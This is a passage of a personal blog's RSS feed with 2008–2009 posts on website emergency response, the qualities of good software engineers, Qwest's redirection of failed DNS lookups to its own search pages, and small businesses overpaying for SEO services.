<li><span>Rollback should always be an option.  Too many people are afraid to remove new functionality because of pride or whatever reason.  After a really, most often it&#8217;s the best solution to just roll back.</span></li>
<li><span>When changing live-site behavior immediately, try to do it in a rolling fashion.  Restart servers one at a time when in a clustered environment.  When code changes are necessary, roll them to one server if possible to verify changes fix the problem.<br />
</span></li>
</ul>
<h2><span>Verification</span></h2>
<p><span>Another often over-looked step in the process.  This is when the business verifies the problem as fixed &#8212; or there is no longer any customer impact.<br />
</span></p>
<p>There&#8217;s much more, so much that I could write a book on the subject, but I hope this is enough information to be helpful.  I may dive deeper into the different roles and practices in another post, so keep checking back.  As always, I would love to hear feedback on the subject.</p>
]]></content:encoded>
			<wfw:commentRss>http://crapflingingmonkey.com/wp/2009/12/website-emergency-response-best-practices/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What makes a great software engineer?</title>
		<link>http://crapflingingmonkey.com/wp/2009/03/what-makes-a-great-software-engineer/</link>
		<comments>http://crapflingingmonkey.com/wp/2009/03/what-makes-a-great-software-engineer/#comments</comments>
		<pubDate>Thu, 05 Mar 2009 04:23:13 +0000</pubDate>
		<dc:creator>josh</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[developer]]></category>
		<category><![CDATA[j2ee]]></category>
		<category><![CDATA[motivational]]></category>
		<category><![CDATA[software engineer]]></category>

		<guid isPermaLink="false">http://crapflingingmonkey.com/wp/?p=22</guid>
		<description><![CDATA[I&#8217;ve been thinking lately about what makes a good software engineer, how to spot a good one, and how to help yourself become better.  This is what I came up with&#8230;
Distributed systems, enterprise-class, J2EE, loosely coupled, SOA, multi-tier, Agile, iterative development

I hear those words a lot.  Anyone could claim they have knowledge of them, but [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been thinking lately about what makes a good software engineer, how to spot a good one, and how to help yourself become better.  This is what I came up with&#8230;</p>
<p><strong>Distributed systems, enterprise-class, J2EE, loosely coupled, SOA, multi-tier, Agile, iterative development<br />
</strong></p>
<p>I hear those words a lot.  Anyone could claim they have knowledge of them, but does that really matter?  A good majority of resumes and tons of job postings list them, but that says absolutely nothing about the competence of the individual.  Stop asking for these qualifications and stop putting them on your resume, they don&#8217;t mean anything.  Don&#8217;t put a goal toward becoming competent in these technologies, you will only fail at being a software engineer.</p>
<p><strong>What about experience?</strong></p>
<p>Yes, experience is important.  But what kind of experience?  Years?  Places work?  Size of the company worked?  Projects completed?  I wish I could come up with the equation, but I&#8217;m afraid I can&#8217;t.</p>
<p>The important part is to actually have something to show for your work.  Rather than saying &#8220;6+ years experience as a software developer in the e-commerce industry&#8221;, how about, &#8220;Designed and constructed a number of technologies powering the &lt;company&gt; shopping cart, order pipeline, customer self service, and product detail pages.&#8221;  Does that say a specific technology used?  No, but that doesn&#8217;t matter.  What you&#8217;ve done is said that you have done stuff what people want done.</p>
<p><strong>So how do I know when I&#8217;m innovative?</strong></p>
<p>Chances are you&#8217;re not innovate.  Sure, you&#8217;ve probably &#8220;architected a solution to meet business needs and delivered on time&#8221;, or &#8220;developed a framework to simplify development of Rich Internet Applications&#8221;, but what that <em>really</em> means is that you&#8217;ve &#8220;drawn an inheritance diagram, wrote the code and it works&#8221;, and &#8220;probably recreated a framework that already exists in the technology I&#8217;m using, and it&#8217;s still not as good&#8221;.  Ouch, that hurts doesn&#8217;t it.</p>
<p>Have no fear, these are things that are expected as a developer grows.  The hard part is breaking out of that and doing something that actually contributes value.  Let me give you an example.  Recently, <a title="Bespin" href="https://bespin.mozilla.com/" target="_blank">Bespin</a>, a web-based collaborative code editor has been in the news.  This is a very simple example of how to be innovative.  Although the project only appeals to a small amount of people, it suits a need that wasn&#8217;t there before.</p>
<p>It&#8217;s important to remember that projects like Bespin don&#8217;t appear out of this air.  It takes time to design and implement a solution (and we&#8217;re not talking just a few minutes whiteboarding either).  I&#8217;m not going to go into the details of how to create a solution like this, but if you don&#8217;t know and haven&#8217;t experienced it first-hand (you can&#8217;t tie your name to it), then you&#8217;re not innovative.</p>
<p>I&#8217;m not trying to hurt your feelings &#8212; I&#8217;m actually eating my own words as I type, but what I&#8217;m trying to say is that the characteristics of a great software developer focuses on what you&#8217;ve done, not how you&#8217;ve done it.  Just find something that interests you, stick and it, and you&#8217;d be surprised how far it will take you.</p>
]]></content:encoded>
			<wfw:commentRss>http://crapflingingmonkey.com/wp/2009/03/what-makes-a-great-software-engineer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Qwest Web.Help &#8230; Wtf?</title>
		<link>http://crapflingingmonkey.com/wp/2008/09/qwest-webhelp-wtf/</link>
		<comments>http://crapflingingmonkey.com/wp/2008/09/qwest-webhelp-wtf/#comments</comments>
		<pubDate>Mon, 22 Sep 2008 06:12:33 +0000</pubDate>
		<dc:creator>josh</dc:creator>
				<category><![CDATA[Rants]]></category>
		<category><![CDATA[dis-service]]></category>
		<category><![CDATA[greedy]]></category>
		<category><![CDATA[Qwest]]></category>
		<category><![CDATA[Web.Help]]></category>

		<guid isPermaLink="false">http://crapflingingmonkey.com/wp/?p=18</guid>
		<description><![CDATA[I was browsing the web, when I was suddenly stupified with a Qwest message in my web browser.  Yes, I am a Qwest subscriber, but I (purposely) didn&#8217;t install any of their software.  Apparently, when an internet request can&#8217;t be resolved (the domain doesn&#8217;t exist), Qwest wants to hijack the traffic and display [...]]]></description>
			<content:encoded><![CDATA[<p>I was browsing the web, when I was suddenly stupified with a Qwest message in my web browser.  Yes, I am a Qwest subscriber, but I (purposely) didn&#8217;t install any of their software.  Apparently, when an internet request can&#8217;t be resolved (the domain doesn&#8217;t exist), Qwest wants to hijack the traffic and display &#8216;custom&#8217; alternatives provided by Yahoo Search.  It essentially destroyed any built-in browser behavior.  Both IE8 and Firefox give their own &#8216;custom search results&#8217; for mistyped (or search) urls, why add the ISP to this mix as well?  </p>
<p>This is completely preposterous &#8212; think of the implications this would have, both on the user experience and on automated scripts.  I was completely confused when I reached this &#8212; I was browsing the Google App Engine apps, and clicked on a mis-linked app, and was all of a sudden on a Qwest page.</p>
<p>The good news is: there is an opt out.  Unfortunately, it&#8217;s hidden several layers deep in the UI.  I recommend if you see this error message, you call Qwest and express to them your disapproval of this &#8217;service&#8217;.</p>
<p><a href="http://crapflingingmonkey.com/wp/wp-content/uploads/2008/09/qwest1.jpg"><img src="http://crapflingingmonkey.com/wp/wp-content/uploads/2008/09/qwest1.jpg" alt="" title="qwest1" width="300" height="193" class="alignnone size-medium wp-image-20" /></a></p>
<p>See the image for the search page after I had &#8216;opted out&#8217;, and the request was pending (which having that, in itself, is pretty lame)</p>
]]></content:encoded>
			<wfw:commentRss>http://crapflingingmonkey.com/wp/2008/09/qwest-webhelp-wtf/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>The SEO Scam</title>
		<link>http://crapflingingmonkey.com/wp/2008/07/the-seo-scam/</link>
		<comments>http://crapflingingmonkey.com/wp/2008/07/the-seo-scam/#comments</comments>
		<pubDate>Tue, 29 Jul 2008 04:40:27 +0000</pubDate>
		<dc:creator>josh</dc:creator>
				<category><![CDATA[Rants]]></category>
		<category><![CDATA[rip-off]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[web analytics]]></category>

		<guid isPermaLink="false">http://crapflingingmonkey.com/wp/?p=14</guid>
		<description><![CDATA[It seems like every business I work with is paying loads of money for SEO work to be done.  While SEO is extremely important for larger web-based companies, it&#8217;s just not applicable, to the scale SEO companies want you to think, to smaller companies with a little web presence.  However, that&#8217;s exactly where [...]]]></description>
			<content:encoded><![CDATA[<p>It seems like every business I work with is paying loads of money for SEO work to be done.  While SEO is extremely important for larger web-based companies, it&#8217;s just not applicable, to the scale SEO companies want you to think, to smaller companies with a little web presence.  However, that&#8217;s exactly where &#8216;SEO Optimization&#8217; companies are focused &#8212; they want to make a quick, easy buck off a local company.  While this is great for the SEO Company, small businesses are getting ripped off without even knowing it.  I&#8217;ve tried to narrow down why exactly SEO companies are so successful at gaining customers:</p>
<p><strong>Obscure Definition of Optimization</strong></p>
<p>Nobody knows how Google, or any search engine for that matter, works.  Nobody.  This is why so many non-techy, quick-to-make-a-buck people are so quick to jump on it &#8212; they can say whatever they want, people will listen to them, and nobody can tell them for sure if they are wrong.  This is the main reason why most SEO Optimization companies are a couple of ex-Radioshack salesmen, accompanied by their iPhone, attend small business conventions and conferences, suckering in the less tech-savvy SBO.</p>
<p><strong>Non-measurable Results</strong></p>
<p>Any un-accredited SEO firm won&#8217;t supply local businesses with the proper tools to analyze how much the SEO optimization really isn&#8217;t doing anything for them.  With analytics tools such as <a href="http://www.google.com/analytics">Google Analytics</a> available, small business owners can see just how much the SEO company really sucks at what they do, and how little difference they really make.  SEO companies won&#8217;t even direct the SBO towards its presence.</p>
<p><strong>Every Company Wants to Be Number One</strong></p>
<p>This is probably the biggest reason why these companies are so successful &#8212; the average SBO wants to get traffic.  To do that, they feel like they should be in the top results.  However, they don&#8217;t feel like paid search is valuable, since it&#8217;s most often on a pay-per-click basis.  They feel like a single, swift payment to &#8216;optimize&#8217; their site will yield long-term benefit.  After all, they&#8217;re paying for it.  The fact is, it won&#8217;t.  Web-based companies allocate vast amounts of resources to keep content fresh and clean.  A small website for a local company simply can&#8217;t, and shouldn&#8217;t keep up.  There will always be a place for them, but Amazon will always be in search results before Fred&#8217;s Corner Shop (unless, of course, Fred&#8217;s Corner Shop was web-based and allocated a lot of time and money toward becoming #1).  The month or so (hah, why do they take a month?) that SEO Optimization companies work on a site just doesn&#8217;t provide enough to keep a site fresh for even a year.</p>
<p>So, I can&#8217;t provide rants without making a few suggestions the SBOs.  Hire a kid out of high school, have him put up some meta keywords and description relevant to your site, and make sure links throughout your site have descriptive text instead of just &#8216;click here&#8217;.  Also, talk to any business partners and get them to put a link to your site.  Most importantly, put some <em>CONTENT</em> on your website.  That&#8217;s it.</p>
<p>Keep in mind I&#8217;m not bagging on SEO for web-based companies.  It really is important to make sure certain stuff happens like only one URL per page, rel=&#8221;nofollow&#8221; attributes are attached with valid links, page weight is low, have a siteindex, don&#8217;t have hidden elements with bogus content, [insert BS SEO optimization rule here...].</p>
]]></content:encoded>
			<wfw:commentRss>http://crapflingingmonkey.com/wp/2008/07/the-seo-scam/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
